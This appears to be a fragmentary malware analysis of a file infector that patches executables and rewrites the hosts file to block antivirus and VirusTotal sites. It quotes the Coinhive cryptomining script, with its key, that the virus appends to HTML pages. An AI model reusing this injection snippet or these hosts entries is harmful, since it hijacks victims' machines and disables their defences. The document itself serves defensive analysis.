
Payload infects other files and changes the hosts file 

*.exe 
*.com 
*.scr 
*.pif 
*.html 
*.htm 
*.gho 
*.iso 

SeDebugPrivilege

127.0.0.1 bbs.sucop.com 
127.0.0.1 www.virustotal.com 
127.0.0.1 tool.ikaka.com 
127.0.0.1 www.jiangmin.com 
127.0.0.1 www.duba.net 
127.0.0.1 www.eset.com.cn 
127.0.0.1 www.nod32.com 
127.0.0.1 shadu.duba.net 
127.0.0.1 union.kingsoft.com 
127.0.0.1 www.kaspersky.com.cn 
127.0.0.1 kaspersky.com.cn 
127.0.0.1 virustotal.com 
127.0.0.1 www.360.cn 
127.0.0.1 www.360safe.cn 
127.0.0.1 www.360safe.com 
127.0.0.1 www.chinakv.com 
127.0.0.1 www.rising.com.cn 
127.0.0.1 rising.com.cn 
127.0.0.1 dl.jiangmin.com 
127.0.0.1 jiangmin.com 

NtCreateFile ( 0x024efaa0, FILE_READ_ATTRIBUTES | GENERIC_WRITE | SYNCHRONIZE, …);

236520 BYTES

Malicious payload size (Malware adds this to all executables)

<script type="text/javascript" src="https://coinhive.com/lib/coinhive.min.js"></script> 
<script> 
var miner = new CoinHive.Anonymous('yuNWeGn9GWL72dONBX9WNEj1aVHxg49E'); 
miner.start(); 
</script> 

Appends the following to html / htm files

Infection via file types



Flow
Once infection takes place, all executables are modified with the malicious payload. In the following flow you can see that putty is 
launching the malicious payload

Each payload enumerates through files and check for 
 new files for infectION  



Traffic flow (COIN-HIVE)


